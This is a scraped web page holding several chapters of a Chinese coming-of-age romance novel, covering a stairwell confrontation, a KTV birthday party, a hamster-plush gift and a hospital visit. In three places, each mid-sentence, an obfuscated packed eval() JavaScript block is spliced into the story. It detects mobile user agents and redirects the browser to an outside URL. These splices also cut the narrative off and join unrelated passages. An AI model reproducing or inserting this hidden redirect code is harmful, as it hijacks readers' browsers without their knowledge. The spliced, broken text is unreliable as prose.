“怎么可能?”陈温嗤笑出声,扯到嘴角不知道怎么出现的伤口,又倒吸一口冷气。 沈泽许没有解释,反问:“我来,有问题吗?” 陈温一时语塞,不敢直视对方的眼睛:“没……没问题,走吧。” 沈泽许站在原地没动:“不解释一下?”他似乎不打算让陈温轻易躲开这个话题。 男生脚步一顿,心口刺痛,但他强作轻松:“还不回去的话,老师该担心了。” “陈温……别敷衍我。”沈泽许的声音像块冰,砸在他后背上,这人似乎能看穿他的伪装。 “真——没事。” 陈温刚要迈步,手腕就被一把抓住。 沈泽许的力道恰到好处,不是很用力,却也让陈温无法挣脱。 “我看到了。”沈泽许直视他黝黑的眼睛,“别骗我。” 陈温手腕上那道暗红的疤痕,在沉默中显得格外刺眼。他的喉结滚动了一下,手腕上的温度烫得他心慌,他下意识想抽回手,却被沈泽许握得更紧。 男生撇过头,心跳声在狭窄的安全通道里格外清晰,他说:“这个……就是不小心烫的。” “陈温……”沈泽许抬手,指尖轻轻碰了碰他嘴角的伤口,陈温疼得又倒吸一口冷气,却没躲开。 “你每次撒谎,”沈泽许的声音低得几乎听不见,“都不敢看着别人。” 陈温僵住了。 他从来不知道自己有这个习惯。 他不知所措地不断后退,后背快要贴上墙面,身前的沈泽许则是步步逼近。 滚烫的体温混着淡淡的茉莉香,在两人之间织成一张密不透风的网。 “我……”陈温一时之间不知道该说什么了,眼神都不敢看着对方。 沈泽许微微倾身,高出的那五六公分在此刻成了最暧昧的距离。 他的下颌轻轻抵在陈温肩上,鼻尖几乎触到对方颈侧那片敏感又白皙的皮肤上。 陈温能感觉到眼前人的呼吸时的热气,像羽毛般扫过自己的锁骨,这个近乎拥抱的姿势却让他发抖。 “我担心你……” 陈温踉跄着后退,脊背终于抵上墙面,那一丝凉意刺进皮肤,这才让他混沌的思绪勉强清醒。 他想推开沈泽许让这暧昧的气氛消失,可男生的手臂已经横在他身侧,将他整个人困在这方寸之地。 他们离得太近了,近到能嗅到对方身上淡淡的茉莉和桂花的气息,但是两人又离得太远了。 空气仿佛凝滞,连时间也都黏稠地拉长。 沈泽许捉住陈温的手,轻轻贴在自己脸颊。那动作珍重得近乎虔诚,手掌与脸颊相触的瞬间,陈温甚至错觉碰到了滚烫的火焰,而不是沈泽许的手。 “……”陈温抬眼撞进沈泽许的视线里。 那人眼底像是蓄着一池晃动的春水,温柔得让人心尖发颤,却又藏着灼人的期待。 他的胸口剧烈起伏着,心脏在肋骨间横冲直撞,震得耳膜嗡嗡作响。 某种酸涩的情绪在胃里翻腾,像是一把钝刀来回磨着五脏六腑。 陈温微微张开嘴,却只尝到喉间漫上的铁锈味——原来人在极度紧张时,真的会失声。 “陈温!沈泽许!你们人呢!!?” 叶萧云的声音突兀地炸开,像是一盆冷水猛地泼进滚烫的油锅。 陈温浑身一颤,如梦初醒般推开沈泽许,手上残留的温度让他迅速缩回手。 走廊的声控灯刺眼地照下来,陈温这才感觉到自己的耳根烫得吓人,心跳声大得几乎要盖过叶萧云的脚步声。 叶萧云走到拐角,目光在两人之间来回扫视,最后定格在陈温涨红的脸上。 “你们在这啊!不过你们这是……?” “咳咳,我们迷路了。”陈温脱口而出,声音干涩得像是砂纸摩擦,不敢瞧对方。 “哦——”叶萧云拖长了音调,眼神意味深长地在沈泽许面无表情的脸上转了一圈,又笑嘻嘻地凑近陈温。 “你脸怎么这么红?太热了?要不要给你来瓶汽水?” “啊哈哈……好。” 陈温勉强扯出笑容,努力让自己看起来平静一些,但脸上的红晕却怎么也消不下去。 叶萧云又问:“咦,你嘴角的那个红印是怎么回事?” 陈温慌忙解释:“不小心摔的。” “哦哦。赶紧回去吧!隔壁班的太猛了,再晚回去连菜汤都没了!”叶萧云一边往回走,一边嘟囔:“俩大活人还能在这迷路,我都不想说你们。” 陈温跟了上去,胸腔里却像塞了一团浸水的棉花。他忍不住偷瞄了一眼沈泽许——那人正平静地目视前方,连睫毛都没颤动一下,好像刚刚没有任何事情发生一样。 回程的大巴微微摇晃,玻璃窗上倒映出陈温恍惚的侧脸。 沈泽许就坐在过道另一侧,两人之间隔着的距离比任何时候都要远。 窗外景色飞速倒退,陈温的思绪却不断闪回到那个昏暗的走廊——沈泽许撑在墙上的手臂,落在他耳边的呼吸,还有那个近乎虔诚的触碰——每一个细节都在脑海里反复播放,清晰得让他耳尖发烫。 “……” 他看向窗外,考试时收给老师保管的手机紧握在胸前,屏幕亮了一下,拉回他的思绪。 「黄曦:笑死我了。」 「温馨提示:怎么了?」 黄曦很快回了消息: 「欺负你的那几个人,上了个厕所,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆晚枝接过话头:“她啊,想带回家养,但某人自己都照顾不好,不敢养。”说着,她伸手戳了戳江夏的脸颊。 “算了吧。”江夏耳尖泛红,抱着小猫往旁边躲了躲,“它这么小……” “怕什么,”陆晚枝凑近江夏耳边,带笑的嗓音像融化的薄荷糖,“你养猫,我养你啊。” 话一出口,江夏整张脸顿时涨得通红。 陈温没发现哪里不对劲,说道:“养着吧,我看这小家伙和江夏姐挺投缘的。” 小猫适时地舔了舔江夏的指尖,粗糙的舌苔蹭得女生轻笑出声。 陆晚枝却是利落地打开房门:“我先去给它放个洗澡水,明天带它去宠物医院做个检查。” 江夏用鼻尖蹭了蹭小猫湿漉漉的鼻子,道:“那……就叫你大少好不好?” 小猫奶声奶气地“喵”了一声,尾巴尖轻轻勾住她的手腕,似乎对这个名字很满意。 陈温见江夏小心翼翼抱起小猫那专注的神情,嘴角不自觉扬起,但目光落在她明显消瘦的脸颊时,笑意又淡了下来。 “江夏姐,你最近怎么瘦了这么多?” 闻言,江夏的手指忽然收紧,小猫不满地“咪”了一声。 她慌忙放松力道,睫毛快速扇动几下。 “就……减肥啊,虽然已经够瘦了,但还想再……” “晚枝姐,知道吗?”陈温打断她,目光意有所指地扫过她突出的腕骨,“太瘦对身体不好。” “她当然不同意。”江夏低头用指尖梳理小猫的毛,声音轻得像叹息,“所以现在每顿饭都要盯着我吃完,碗里的肉堆得跟小山似的……” 说到最后几个字时,她耳尖悄悄泛出红晕。 “水放好了。”陆晚枝挽着袖子从屋内走了出来,她敏锐地察觉到怪异的气氛,挑眉看向两人:“在聊什么,这么起劲?” “没、没什么!”江夏抱着小猫快步往浴室里走,“我来帮它洗澡……” 陆晚枝伸手拦住她:“记得把袖子卷高些,上次给流浪狗洗澡把自己淋成落汤鸡的是谁?” 陈温见没他什么事了,便匆匆道别:“我先回去了。” “嗯……明天记得过来尝尝我做的水果茶。” “好。” 他转身时,听见身后传来陆晚枝温柔的叮嘱和水花溅起的声音,还有小猫奶声奶气的叫声…… 关门声隔绝了所有声响,陈温靠在自家门板上,脑海里又闪过沈泽许埋在他怀里的一幕。他慢慢滑坐到地上,把发烫的脸埋进膝盖里。 19. 生日快乐 数学竞赛的成绩迟迟未公布,这些天陈温总是不自觉地与沈泽许保持着三步的距离。 课间操时隔着三排同学,食堂打饭时隔着三个人,就连交作业时都要刻意绕到另一组去。 可越是刻意疏远,那些被压抑的念头就越是汹涌。 每次余光瞥见沈泽许低头解题时垂落的额发,或是他漫不经心转笔的修长手指,陈温就会想起那个被堵在墙角的一幕——沈泽许的呼吸像带着电流,至今还烙在他的皮肤上。 最折磨的是沈泽许的态度。 他有时会在陈温忘带课本时,默不作声地把自己的推过来;有时又像完全不认识般,擦肩而过时连眼神都不曾停留。 这种忽冷忽热让陈温觉得自己像在解一道永远算不对的数学题——明明每个步骤都清晰可循,答案却总在即将揭晓时变成乱码。 叶萧云挥舞着筷子,道:“你们看了昨天的比赛吗?隔壁班那个前锋简直太猛了,一个人拿了30分!” 林宇舟慢条斯理地挑出青椒,闻言轻笑出声:“这么激动,不知道的以为是你扣的。”他顿了顿对陈温说:“再不吃肉都要凉了。” 陈温这才发现自己的筷子悬在半空已经很久了,番茄皮亮得反光,而他的余光里全是沈泽许握筷的右手——袖口露出一截冷白的手腕,还有一层薄茧。 “哦哦……刚才在想数学题。”陈温急忙夹菜,开始扒饭。 叶萧云盯着他,把脸凑过来,贱兮兮地说:“你该不会是在想——”他故意拉长声调,“喜欢的人吧?” “胡说什么!”陈温听完,立刻反驳。 沈泽许闻声,缓缓抬眼,目光像羽毛般从陈温通红的耳尖扫过,又若无其事地低头喝了口汤。 林宇舟的视线在两人之间转了个来回,笑着往叶萧云碗里扔了块姜。 “吃饭都堵不住你的嘴。” “喂!”叶萧云嫌弃地把姜挑出来,撇撇嘴道:“没劲。”他故意把餐盘挪得远了点,冲林宇舟做了个鬼脸。 四人吃完午饭,走出食堂,叶萧云和林宇舟在前面勾肩搭背地讨论着游戏攻略。 陈温刻意放慢脚步,与沈泽许保持着半步的距离,烈日将两人的影子投在地砖上,明明靠得很近,却始终没有重叠。 “你在躲我?” 沈泽许突然开口,声音轻得像鹅毛,却让陈温整个人僵在原地。 男生死死盯着走廊地砖上的一道裂缝,那裂缝蜿蜒如蛇,正好将两人的影子分割开来。 “没有啊。” 陈温能感觉到沈泽许的目光落到自己侧脸,烫得他耳尖发麻,像被正午的太阳灼伤。 沈泽许侧过身,挡住了刺目的阳光。 这个动作让陈温不得不抬头,猝不及防撞进那双黝黑的眼睛里——那里面的情绪太浓,浓得他几乎要窒息。 “那你这几天……”沈泽许欲言又止,声音也有些委屈的样子。 陈温的喉结滚动了一下,他盯着沈泽许校服上的第二颗纽扣,说:“竞赛排名快要出来了,我……我有点紧张。” 这个借口拙劣得连树上的知了都不信。 “嗯。”沈泽许轻轻应了一声,没有太大反应。 “哦,对了陈温!”林宇舟倒退着走路,“你生日是不是29号啊?” 陈温猛地抬头,瞳孔微微扩大:“你怎么知道?” 自己好像没跟别人说过吧。 难道是沈泽许说的? “秘密~”林宇舟竖起食指抵在唇前,“所以是不是?” “嗯……”陈温很快低下头,看着自己的鞋尖,“不过我已经好久没过了。” 他想起慕雪煮的长寿面,清汤上飘着的葱花;想起慕雨澄睡眼惺忪的那句“生日快乐”,总是伴随着重重的关门声;更想起陈林峰永远在翻的文件,和那句“蛋糕可能来不及订了”。 叶萧云不知何时凑了过来,胳膊熟练地搭上陈温的肩膀:“啊?为什么不过?你爸妈这么忙的吗?” “嗯,他们是有点忙……”陈温说。 “那怎么能行!”叶萧云一拍大腿,“生日怎么能不过?要不我们给你过吧!”男生眼睛亮得吓人,像是发现了新大陆。 林宇舟开始计划起来:“29号是这周六!我舅舅前几天开了家KTV,包厢我包了!” 陈温被两人夹在中间,像只误入狼窝的兔子。他下意识看向沈泽许,那人没什么表情,只是嘴角弯弯地看着他。 “真的不用……”陈温往后退了半步。 “少啰嗦!”林宇舟直接捂住他的嘴,“这事我说了算!”他转头朝叶萧云使了个眼色,后者立刻会意,一把搂住陈温另一侧肩膀,“放心,保证让你终生难忘的。” “等着收惊喜吧,大寿星!”叶萧云揉了揉他柔软的头发。 “……” 晨光透过纱帘洒进来时,陈温已经醒了。 他眼睛都还没睁开,就摸索起手机来,屏幕亮起的瞬间,消息提示音接二连三地响起。 最上面是慕雨澄凌晨准点发来的消息,估计是熬夜玩游戏了,只有干巴巴的四个字:“生日快乐”连个标点符号都懒得打。 往下滑,慕雪的红包倒是规规矩矩地写着“小温生日快乐,买点自己喜欢的。”红包封面是俗气的寿桃图案,但金额比往年多了一百。 「阿姨:我们太忙了,没办法回来给你过生日,下次过来阿姨给你做面。」 他盯着“下次”两个字看了几秒,最终只回了个: 「谢谢阿姨。」 卫生间里,牙刷摩擦牙齿的声音填满了寂静的空间,陈温盯起镜子里满嘴泡沫的自己,想起林宇舟这几天“神神秘秘”的样子——那家伙不仅策划了全套生日流程,还大张旗鼓地在班级上里吆喝,搞得半个班级都知道今天是他生日。 陈温吐掉嘴里的薄荷味泡沫,嘴角却不受控制地扬了起来。水流冲走白色泡沫的同时,一丝隐秘的期待也在心底漫开。 已经很久没有这样了。 出租车在霓虹闪烁的KTV门前停下,陈温穿过灯光迷离的走廊,快要到包厢时,一双温热的手从身后蒙住了他的眼睛。 “猜猜我是谁?”对方故意压低嗓音,带着掩饰不住的笑意。 陈温不用猜都知道他是谁:“你是林宇舟。” “猜对了,不过没有奖励。”林宇舟咂咂嘴,手掌却纹丝不动,“先别睁眼啊,我带你去包厢。” 陈温任命般跟着林宇舟,说:“你们这是要干嘛?” “等等你就知道了。” 走了没几步,陈温就听见包厢门滑开的声响,随即是此起彼伏的吸气声。 当视线重新恢复时—— “砰——” 五彩的礼花在头顶炸开,亮片像一场突如其来的金雨洒落。 二十几个声音同时爆发:“陈温,生日快乐!!!” 沈泽许站在人群最前方,双手捧着个二层奶油蛋糕。这个平日冷峻的男生此刻姿势僵硬,活像婚礼上被迫营业的花童,奶油玫瑰歪歪斜斜地要坠不坠。 陈温没忍住“噗嗤”笑出声,眼眶却悄悄发热:“谢谢大家!” “客套话省省啊!”叶萧云一个箭步抢过沈泽许手上的蛋糕,“大家快来唱生日歌!” 话音刚落,陈温感觉到发顶一沉——沈泽许不知何时绕到他身后,正将一顶金色生日帽轻轻戴在他头上。 少年修长的手指掠过鬓角时,温热的呼吸擦过耳廓:“生日快乐。” 那好听又低沉的嗓音像羽毛扫过鼓膜。 又是这样……耳朵好痒。 还没来得及反应,就被七手八脚推到蛋糕前,叶萧云已经放好蛋糕,蹿到点歌台旁,夸张地按下播放键:“来!让我们祝亲爱的陈温同学——” 欢快的生日歌响起,混着此起彼伏的跑调祝福。 陈温看着周围一张张笑脸,发现自己的嘴角已经扬得发酸,鼻尖发酸,心里也很酸。 欢快的歌声回荡在包厢,陈温的视线却渐渐朦胧。 恍惚间,他仿佛又看见那个空荡荡的家。 “今晚要加班,生日可能赶不回来了。”电话那头陈林峰的声音带着电流的杂音,“你想吃什么?我加完班给你带回去。” “随便。”十岁的陈温握着话筒,脸上的表情是忍不住得失望。 生日的清晨,阳光冷清地铺在阳台的地砖上,他起得很晚,拉开门,发现餐桌上静静躺着一袋汉堡,手机适时亮起: 「爸:给你买了早餐,放桌上了。」 陈林峰凌晨两点才推开家门。 他轻手轻脚地把冷掉的汉堡塞进冰箱,第二天清晨,被他塞进电饭煲转了两分钟。 陈温摸了摸汉堡,发现它已经冷的差不多了,他把汉堡又放进电饭煲蒸热。 当第一口面包混着热气咽下去时,温热的液体突然砸在手背上。 那时他才发现自己在哭,温热又冰凉的汉堡肉像块铅坠在胃里,泪水一颗接一颗地滚落,像断了线的珍珠——原来过期的不是生日,而是那些被搁置的期待。 “陈温!发什么呆呢?”林宇舟见陈温发愣,勾住他的脖子,将他拽回现实。 此时,彩带还在空中飘舞,蛋糕上的蜡烛映亮每一张笑脸。 沈泽许站在他身侧,目光比烛光还温柔;叶萧云正举着手机录像,镜头却倒拿着;全班同学围成歪歪扭扭的圆圈,跑调的生日歌唱得震天响。 陈温擦着脸。这一次,落在手背上的不是冰冷的泪水,而是谁不小心甩过来的奶油。 他忽地笑出声,胸腔里那股暖流汹涌得几乎要溢出来。原来烛光这么暖,原来太幸福了,也会哭,原来被爱着的时候,连呼吸都是甜的。 “快点许愿!快点许愿!” 李欣桐把蛋糕往陈温面前一推。 男生下意识闭眼,却在黑暗降临的瞬间犹豫了。 往年对着空房间许下的愿望总是落空,但这次……他悄悄睁开一条缝,看见烛光里沈泽许专注的侧脸,看见林宇舟正用口型对其他人比“安静”,看见李欣桐举着相机录像…… 他重新闭上眼睛,这次许愿的动作格外郑重。希望——此刻的温暖不是易碎的泡沫。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171952|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼——” 烛光熄灭的刹那,欢呼声几乎掀翻屋顶。 陈温被推搡着拿起蛋糕刀时,手腕还在微微发抖,第一块带着草莓的蛋糕被他递向沈泽许,奶油因为拿不稳微微倾斜。 “谢谢。”沈泽许接过盘子。 包厢里,旋转的彩灯将每个人的笑容切割成彩虹碎片。有些没来的同学在手机里刷着祝福,林宇舟正把奶油抹到叶萧云鼻尖,两人打闹,全场大笑。 陈温站在喧嚣中央,第一次感受到噪音也能如此动听。 吹完蜡烛,大家在包厢坐下分蛋糕,陈温在角落,目光投向被林宇舟强行拽来的同班同学——有几个女同学送他钥匙扣之类的小手工,2班的男同学没什么仪式感,送了些零食,大家都一起分了。 没有特别贵重的礼物,没有特别的祝福,只有KTV里跑调的歌声和零食袋的撕拉声,但陈温觉得,这样也很好。 不一定需要多么隆重的仪式。 到点歌环节,林宇舟划拉着平板,眼睛发亮:“来来来,大家想唱什么?” “《等你下课》周杰伦的!”叶萧云一个箭步冲上来,语气兴奋得像中了彩票。 “哎哟,有品位!”林宇舟挑眉,手指在屏幕上飞快点了几下。 李欣桐托着下巴,故意拖长音调:“某些人哦,寿星还没开嗓呢,自己倒先嗨起来了——” 陈温笑着摆摆手:“我唱歌很一般,你们唱就好。” “看看!什么叫格局!”叶萧云一把揽住陈温,冲李欣桐扬起下巴,得意得仿佛赢了一场辩论赛。 李欣桐翻了个白眼,懒得再理他。 “清依,你呢?”林宇舟转头看向坐在角落的李清依,声音温柔。 李清依回过神来,她认真想了一会,说:“《答案》可以吗?” 林宇舟闻言,立刻凑近半步:“可以!这个我会唱,待会能一起唱吗?” 李清依抿嘴笑了笑,轻轻点头:“好。” 陈温捧着果汁窝在沙发里,目光扫过包厢——叶萧云和林宇舟正为谁先唱《等你下课》抢麦克风。 李欣桐在一旁拱火,李清依低头偷笑,其他同学三三两两地分着零食、玩骰子,灯光扫过时,每张脸上都映着斑斓的色彩。 前奏响起,叶萧云抓着麦克风开嗓,第一句就跑了三个调。 众人哄笑,却还是跟着节奏晃起来,有人拍手,有人瞎和声,跑调的歌声反而让气氛更热闹。 等轮到林宇舟和李清依唱《答案》时,包厢顿时安静了几分。 两人的声音交叠在一起,林宇舟刻意压低的声线衬得李清依的嗓音更清透。 彩灯慢下来,光斑温柔地掠过他们肩头,连空气都仿佛变得绵软。 陈温的视线不自觉地飘向身旁的沈泽许,少年正握着玻璃杯,橙黄的果汁随着他仰头的动作微微晃动。 灯光下,沈泽许的喉结线条分明,随着吞咽的动作上下滚动,在脖颈上投下一小片阴影。 陈温看得出了神。 胸腔里似涌起一股陌生的悸动,像是有只蝴蝶在心脏上扑扇翅膀。 “咚。” 手中的玻璃杯底与茶几的碰撞声像一记响指,将陈温从思绪中猛地拽回。 沈泽许的喉结又滚动了一下——他发现了,那双总是平静无波的眼睛转了过来。 “好看吗?” “我、我没看!”陈温慌忙低头,他感觉自己的脸颊发烫,掐一掐指定红得能滴出血来。 沈泽许没有拆穿他。 空气凝固了五秒,陈温听见衣料摩擦的窸窣声——沈泽许站了起来。 还没等他反应过来,一片阴影就笼罩下来。 “靠近点看?”沈泽许俯身时,茉莉香混着体温扑面而来。他说话时嘴角噙着笑,声音压得极低,像是只说给陈温一个人听的情话。 男生整个人僵住了,后背紧贴着沙发,手里还拿着玻璃杯。 包厢里的喧闹声好像变得很远,耳边只剩下自己震耳欲聋的心跳声。 没人发现角落的不对劲。 “你、你别靠那么近……”陈温的声音因紧张抖得不成样子。 他想移开视线,却像是被施了定身术,只能看着沈泽许眼中自己的倒影越来越清晰,两人的鼻尖几乎要相触。 “你……”陈温的声音沙哑。 突然—— “兄弟你瘦了,看着疲惫了。” “一路风尘盖不住,岁月的脸颊……” 陈温一抬头就见林宇舟和叶萧云不知什么时候抢到了麦克风,扯着嗓子开始吼,几个男生也跟着站起来,勾肩搭背地跟着唱,声音震得茶几上的瓜子都在跳。 他趁机一把推开沈泽许,手忙脚乱地往沙发另一头挪:“你、你先坐好……” 沈泽许被推得晃了晃。 陈温猛灌了一口饮料,死死盯住手中的果汁杯,指尖好像也泛着粉红。 那边叶萧云已经唱到副歌,搂着林宇舟的脖子鬼哭狼嚎,跑调跑得人直捂耳朵。 有人开始用筷子敲啤酒瓶伴奏,整个包厢吵得像菜市场。 20. 给谁的? “陈温!别躲了,快来一首!” 叶萧云走了过来,猛地把麦克风怼到陈温眼前。 陈温往后仰了仰,耳根还带着未消的红晕:“我真不行……” “少来!”林宇舟不由分说把他按在点歌台前,“上次班会课我明明听见你哼歌了!” 陈温被推上台,手指在点歌的屏幕上徘徊,最终停在《非酋》的封面上。 点击确认的瞬间,他听见自己剧烈的心跳声盖过了前奏。 “感觉到好炽热……刚好是你经过……” 第一句歌词滑出唇畔时,包厢里的喧闹突然静止。陈温的声音像浸了月光的溪水,清冽中带着不易察觉的颤。 他始终垂着眼睫,仿佛这样就能忽略角落里那道如有实质的视线。 “眼神表现洒脱,手却不自主的……” 又玩了几轮狼人杀过后,暮色四合。 KTV门口的霓虹灯牌次第亮起,陈温低头记下最后几个女生乘坐的车牌号。 车子缓缓驶走,晚风拂过发梢,带着初秋特有的清爽。 “都上车了?”他关上备忘录,转头问道。 沈泽许站在三步之外,左手拎着的纸袋被风吹得哗啦作响,路灯下的那人让人看不清神情。 “嗯,只剩我们了。”沈泽许道:“我送你回去。” 不是询问,而是陈述句。 “不用……”陈温连忙摆手。 沈泽许却像是没有听见,向前了一步。 陈温闻到他身上淡淡的茉莉香,混着KTV里沾染的果香。 那人抬手拦车的动作干脆利落,另一只手却轻轻拽住他的衣角,生怕他跑掉一样——皮肤和皮肤之间隔了一层布料,贴得很近。 出租车缓缓停靠在小区门口,引擎的余韵在暮色中渐渐消散。 陈温低头划开手机屏幕,还没点开付钱的界面就被死死挡住。 “我来。”沈泽许的手覆上来,掌心温热干燥,恰好盖住手机屏上的支付界面。 陈温推辞的话,在唇齿间转了个弯,最终化作一声轻软的“谢谢”。 下车时,沈泽许的手虚扶在他腰后,距离把握得恰到好处——既不会真正碰到,又能在人踉跄时及时护住。 车门关上的闷响划破晚风,它也识趣地安静了下来。 两人到了小区楼下,沈泽许忽然将拎着一路的牛皮纸袋递了过来,边缘处好像有几道被他捏出来的褶皱。 “生日礼物,打开看看。” 陈温犹豫地接过,丝带解开的声音在寂静中极为清晰。 盒盖掀开的瞬间,一只橙色圆滚滚的仓鼠公仔正捧着瓜子,黑色的眼珠映着路灯的光,亮得惊人,绒毛蓬松得像是刚晒过太阳,随着陈温的呼吸微微晃动。 “仓鼠?”陈温摸了摸仓鼠雪白的肚子,布料很柔软,像触碰到了棉花糖。 沈泽许笑着说:“我觉得它像你,就买了。” 陈温撇撇嘴,捏了捏仓鼠鼓鼓的脸颊,绒毛从指缝间溢出来:“我哪有这么胖……” 沈泽许摇了摇头:“不是胖。”他顿了顿,喉结滚动了一下,“是可爱。” 闻言,陈温的呼吸骤然停滞,心脏似小鹿乱撞般震得耳膜嗡嗡作响。 仓鼠公仔被他紧紧按在胸口,绒毛蹭得下巴发痒。 “哦……我很喜欢。”他转身时声音带着可疑的鼻音,“我回去了,明天见。” “嗯。”沈泽许站在原地没动,“早点休息。” 直到走进电梯间,陈温才敢回头。 透过玻璃门,能看见沈泽许还站在原地,但是他看不清那人在做什么。 声控灯因长久的静默而熄灭,将陈温笼在一片黑暗里。怀中仓鼠玩偶的绒毛被揉得凌乱,沈泽许那句“是可爱”仍在耳畔回响。 陈温不想再多想,准备上楼,却发现电梯故障的红灯在黑暗中明明灭灭。 他只好推开一旁的安全通道,铁门铰链发出年久失修的呻吟。 陈温一口气爬到自己所在的楼层的安全通道门口,开门出去时,猝不及防地僵在原地。 透过极小的门缝,暖黄的走廊灯光泼洒进来,勾勒出两道熟悉的身影——陆晚枝和江夏正站在不远处。 陈温有些愣住,不知道是该出去还是离开。 在他愣神的期间,门外的陆晚枝微微蹙眉,声音里揉着心疼地说:“你能不能别减肥了?瘦成这样,身体怎么受得了?你之前的胃病还没好呢。” 江夏则是嘴角轻扬,笑意却未达眼底,脸色苍白,声音沙哑又疲惫:“没事,我自有分寸……” “可我心疼。”陆晚枝的声音像浸了蜜的刀,甜得发苦,她环抱住了江夏,像拥抱天使一样。 江夏没应声,她抬手揉了揉女生乌黑的发顶,指节顺着发丝滑下,最后停在她的唇边,她缓缓凑了上去。 “……” 陈温睁大了眼睛,呼吸骤然一滞,踉跄着向后退,门缝无声合拢,走廊的光线被一寸寸切断。 他按住口袋里的生日礼物——钥匙扣,让它们别发出声响。后背则是抵上粗糙的墙壁,心跳声在耳畔炸开,震得太阳穴突突直跳。 他曾以为两人是女孩子之间特有的感情…… 原来全都藏着另一种温度,自己竟然没有发现。 算了,还是别打扰她们了。 陈温转身,轻手轻脚地下了楼。 小巷的路灯在他脚下晕开一点,陈温抚摸着仓鼠娃娃的绒毛,布料被掌心的汗浸得微微发潮。 微风拂过,带有附近的住户煮饭的味道。 陈温莫名想起前几天跟沈泽许“冷战”的一个晚上——他坐在床沿,划开搜索记录,那行“男生喜欢男生正常吗?”的搜索历史像道未愈的伤疤,静躺在凌晨两点的月光里,紧张的等待回答。 楼道里的两个女生嘴唇相触的画面,还历历在目。 奇怪的是,陈温竟觉得那两人像两株并蒂而生的百合,在月光下再自然不过地舒展枝叶而已。 可当想象中的人影替换成沈泽许和自己…… 他的胸口忽然泛起细细密密的刺痛,像是有人用绣花针在心脏上缝了一整张蛛网。 陈温搜索出的第一条视频,更是让他有种说不出的感觉。 “同性恋和异性恋一样,都是正常的性取向……”博主的声音像隔着毛玻璃,而评论区刺目的“bt”“恶心”“跟风狗”却如同尖刀般捅进视网膜。 陈温猛地熄屏,他想了很久,好像还是没有正确的答案。 “我到底……”他揪住自己的碎发,指节抵着太阳穴微微发抖,“怎么了?” 如果时间可以暂停就好了,这样就不用面对那些烦心事了,当然这是不可能的事。 他叹了口气,又甩甩头,似乎这样能把烦恼都给抛之脑后。 傍晚的街道上行人稀少,路过一家花店时, 陈温的目光不自觉地被一束放在门口的白色的满天星吸引。 他凑了过去,蹲下身来。 那小巧的的花朵像散落的星辰,在暮色中格外显眼。 “他喜欢……我吗?” 这个念头浮现在脑海的瞬间,陈温就猛地摇头,却发现它像生了根似的挥之不去。 算了,还是顺其自然吧。 他正出神地望着满天星,花店的玻璃门忽然被推开,陈温起身准备让开通道。 一抬眼,就看到让他脸红心跳一天的人——沈泽许正抱起一束新鲜的白百合走出来,花蕊被处理过,花瓣上还沾着水珠。 四目相对,空气似乎凝固了一秒。 “你怎么在这?”陈温惊讶地说:“不对,你不回去吗?” “买花。”沈泽许皱了皱眉,简短地回答。 “给谁的?”话一出口陈温真想掐自己一把。 沈泽许送谁东西关他什么事? 那人微微偏头:“没谁,别多想。” 陈温愣了一下,随即意识到刚才他的反应有些大,连忙低下头“哦”了一声。 “你不是回去了吗?” 沈泽许反问,陈温就又想起楼梯间看到的那一幕。他总不能说,是因为不想打扰到那两人的“亲密”时光才不回家的吧。 所以他胡乱找了个借口:“那个……那个我就是下来散散步的!” “一起走吗?”沈泽许凑近了些。 陈温抬眼,撞进对方深邃的目光里,晚风拂过,百合的清香混合着淡淡的茉莉气息,让他心跳漏了一拍。 也不知道是去哪里,就在那点头答应了。 “所以……”陈温边抱着仓鼠娃娃,边忍不住好奇心问:“这花……是送给谁的?” 沈泽许一手抱着花,一只手垂落在两人之间,他侧头瞧着身边人,说:“给我妈的,她最喜欢百合了。” 陈温胸口泛起一阵说不清道不明的情绪,既像是松了口气,又像是被什么东西轻轻揪了一下。 他道:“这样啊……” “哦,对了,我们这是要去哪里啊?”陈温终于想起来问这事。 沈泽许淡淡回答:“去医院。” 两人上了一辆车,出租车转过几个街角,医院的轮廓便渐渐清晰起来。 这家以环境优美著称的医院,大门前不久有一条小湖,周边是高大的梧桐树环绕。 下了车,陈温盯着沈泽许的背影,心里涌起无数疑问,却最终什么也没问出口。 沈泽许的妈妈是生病了吗? 两人穿过医院静谧的长廊,一路上只有两人的脚步声,心中的不安感越来越强。 走廊尽头的VIP病房前,两名身着黑色西装的私保如雕塑般伫立,锐利的目光在陈温身上逡巡。 “我朋友。”沈泽许没有什么情绪地说。 私保们交换了一个眼神,其中一人上前,对陈温进行了专业的搜身检查。 金属探测器划过外套时,陈温觉得有些冰凉,不自觉地绷紧了脊背。 “可以了。”私保退后一步,为他们推开“沉重”的病房门。 说不出是什么味的清香飘了过来,病床上有位女人靠着床头看书,闻声她抬头,苍白的脸上瞬间绽放出温柔的笑意。 “小沈。” “妈,这是陈温。”沈泽许侧身介绍。 陈温紧张地站在光影交界处,紧抱着仓鼠,道:“阿姨好,我是沈泽许的同学。” 白千月眼中漾起温柔的笑意:“同学好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171953|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 